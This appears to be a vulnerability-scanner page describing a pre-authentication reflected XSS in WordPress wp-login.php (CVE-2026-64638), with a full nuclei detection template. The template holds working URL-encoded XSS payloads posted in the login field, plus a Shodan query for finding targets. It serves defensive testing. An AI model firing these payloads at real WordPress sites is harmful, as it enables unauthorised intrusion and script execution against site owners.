WordPress Core < 7.0.3 - Preauth Reflected XSS (XSS2Shell)

highseverity

8.9CVSS score

0.9%likelihood of exploitation, next 30 days

60%of all CVEs are less likely

Readycheck to confirm it

Pre-authentication reflected XSS in WordPress wp-login.php (CVE-2026-64638). The flaw exploits a parser differential between PHP strip_tags() and WordPress KSES. Tags with whitespace after < (e.g. "< area") survive strip_tags() but are normalized to valid HTML by KSES, leading to attacker-controlled DOM elements that trigger automatic JavaScript execution via user-profile.js. No user interaction required. Affects all WordPress versions < 7.0.3.

Impact

Attackers can execute scripts leading to remote code execution via social engineering and victim interaction.

Fix

Upgrade WordPress to 7.0.3 or apply the backported security patch.

How to confirm it

Send: GET {{BaseURL}}/wp-login.php
Positive when: contains "loginform" and "wp-core-ui"
Send: POST /wp-login.php
Positive when: matches /<area[^>]*id=["']?ajaxurl/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-64638 -u <target>

The full check

id: CVE-2026-64638

info:
  name: WordPress Core < 7.0.3 - Preauth Reflected XSS (XSS2Shell)
  author: FLX | Nick Vidovic (greenhats)
  severity: high
  description: |
    Pre-authentication reflected XSS in WordPress wp-login.php (CVE-2026-64638).
    The flaw exploits a parser differential between PHP strip_tags() and
    WordPress KSES. Tags with whitespace after < (e.g. "< area") survive
    strip_tags() but are normalized to valid HTML by KSES, leading to
    attacker-controlled DOM elements that trigger automatic JavaScript
    execution via user-profile.js. No user interaction required.
    Affects all WordPress versions < 7.0.3.
  impact: |
    Attackers can execute scripts leading to remote code execution via social engineering and victim interaction.
  remediation: |
    Upgrade WordPress to 7.0.3 or apply the backported security patch.
  reference:
    - https://pwn.ai/blog/xss2shell
    - https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html
    - https://nvd.nist.gov/vuln/detail/CVE-2026-64638
    - https://wordpress.org/news/2026/08/wordpress-7-0-3-release/
  classification:
    cve-id: CVE-2026-64638
    epss-score: 0.00894
    epss-percentile: 0.5979
    cvss-score: 8.9
    cwe-id: CWE-79
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  metadata:
    max-request: 3
    verified: true
    shodan-query: http.component:"wordpress"
  tags: cve,cve2026,wordpress,xss,rce,pwnai

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-login.php"

    matchers:
      - type: word
        part: body
        words:
          - "loginform"
          - "wp-core-ui"
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In

      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_envelope%3D1%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "<area[^>]*id=[\"']?ajaxurl"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - "<area[^>]*id=[\"']?ajaxurl[^>]*>"

References

Use this check only on systems you are authorised to test. Where the data comes from